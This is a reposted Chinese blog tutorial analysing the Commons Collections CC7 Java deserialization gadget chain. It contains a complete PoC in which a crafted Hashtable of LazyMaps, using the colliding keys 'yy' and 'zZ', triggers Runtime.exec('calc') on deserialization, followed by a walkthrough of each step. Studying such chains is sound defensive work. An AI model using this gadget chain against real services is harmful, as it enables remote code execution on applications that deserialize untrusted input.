栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

『Java安全』反序列化-CC7反序列化漏洞POP链分析

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

『Java安全』反序列化-CC7反序列化漏洞POP链分析

文章目录

前言代码复现

工具类PoC 代码审计 | 原理分析

1. LazyMap.get()调用this.factory.transform()2. AbstractMap.equals()调用m.get()3. AbstractMapDecorator.equals()调用this.map.equals4. HashTable反序列化触发e.key.equals(key)为什么最后要lazyMap2.remove("yy")?为什么多了一个键yy?为什么yy和zZ的hash相同? POP链完

前言

CC7是另一种方法调用LazyMap.get()

代码复现 工具类

反射get/set:

ReflectPacked/ValueGetterSetter.java

package ReflectPacked;

import java.lang.reflect.Field;

public class ValueGetterSetter {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Object getValue(Object obj, String name) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        return field.get(obj);
    }
}


反序列化:

UnserializePacked.Unserialize.java

package UnserializePacked;

import java.io.*;

public class Unserialize {
    public static void unserialize(Object obj) throws Exception{
        File f = File.createTempFile("temp", "out");

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
        oos.writeObject(obj);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
        Object o = ois.readObject();
        System.out.println(o);
        ois.close();

        f.deleteOnExit();
    }
}

PoC
package cc.cc7;

import ReflectPacked.ValueGetterSetter;
import UnserializePacked.Unserialize;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class PoC {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{
                                String.class,
                                Class[].class
                        },
                        new Object[]{
                                "getRuntime",
                                new Class[0]
                        }
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{
                                Object.class,
                                Object[].class
                        },
                        new Object[]{
                                null,
                                new Object[0]
                        }
                ),
                new InvokerTransformer(
                        "exec",
                        new Class[]{
                                String.class
                        },
                        new Object[]{
                                "calc"
                        }
                )

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
        Map lazyMap1 = LazyMap.decorate(new HashMap(), chainedTransformer);
        Map lazyMap2 = LazyMap.decorate(new HashMap(), chainedTransformer);

        lazyMap1.put("yy", 1);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        ValueGetterSetter.setValue(chainedTransformer, "iTransformers", transformers);
		lazyMap2.remove("yy");

        Unserialize.unserialize(hashtable);
    }
}

代码审计 | 原理分析 1. LazyMap.get()调用this.factory.transform() 2. AbstractMap.equals()调用m.get()

HashMap的父类是AbstractMap,拥有equals方法;这里要传入一个Map,并且HashMap和传入的m大小相同

然后HashMap不能为空、并且不能有相同的键,就能够调用m.get()

因为LazyMap也是Map所以可以调用一个HashMap.equals()传入它,而且还要保证非空、键名不同,手动验证一下:

3. AbstractMapDecorator.equals()调用this.map.equals

注意到可以用HashMap触发LazyMap.get(),而LazyMap本身就包含一个HashMap

LazyMap的父类是AbstractMapDecorator,equals方法调用了HashMap的equals方法

那么我们建两个LazyMap,调LazyMap1.equals()然后传入LazyMap2即可,这里的LazyMap需要特别构造满足大小相等、没有相同的键、HashMap不同。手动触发试一下:

4. HashTable反序列化触发e.key.equals(key)

HashTable反序列化调用了reconstitutionPut

reconstitutionPut里面调用了e.key.equals(key),调用后一个key的equals传入前一个key

而这里有个条件:两个不同key的hash相同

因此就要碰撞,因此就有了这里的yy和zZ

先后传入反序列化即可

为什么最后要lazyMap2.remove(“yy”)?为什么多了一个键yy?

为什么lazyMap2多了一个键yy?

把remove关闭查看结果发现了lazyMap2多了一个键,并且反序列化无法触发了

原因就在于:LazyMap.get()把yy写入lazpMap2了

反序列化时:在AbstractMap有比较lazyMap1和2大小是否相等的部分,如果不把yy删除了就会导致比较失败返回false

删除yy就能通过比较了

为什么yy和zZ的hash相同?

这里hash调用了LazyMap的hashCode

然后调用了HashMap的hashCode,由于value都是1,只要考虑前半部分

然后是调类的hashCode,也就是String类的hashCode

这是String.hashCode(),基于ascii来算hash

传入的yy和zZ都是两位数,所以计算两次

yy:第一次y的ascii121,第二次31*121+121=3872zZ:第一次z的ascii122,第二次31*122+90=3872

因此只要满足以上公式的字符串都能够绕过,用python跑一下:

import string
letter = string.ascii_uppercase+string.ascii_lowercase


def hashcode(string_expected):
    return 31 * ord(string_expected[0]) + ord(string_expected[1])


for i in letter:
    for j in letter:
        for k in letter:
            for l in letter:
                str1 = i+j
                str2 = k+l
                if str1 != str2:
                    if hashcode(str1) == hashcode(str2):
                        print(hashcode(str1), str1, str2, sep=" ")

POP链
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
equals:495, AbstractMap (java.util)
equals:129, AbstractMapDecorator (org.apache.commons.collections.map)
reconstitutionPut:1232, Hashtable (java.util)
readObject:1206, Hashtable (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
unserialize:14, Unserialize (UnserializePacked)
main:67, PoC (cc.cc7)

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123458271
版权声明:本文为原创,转载时须注明出处及本声明

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/764077.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号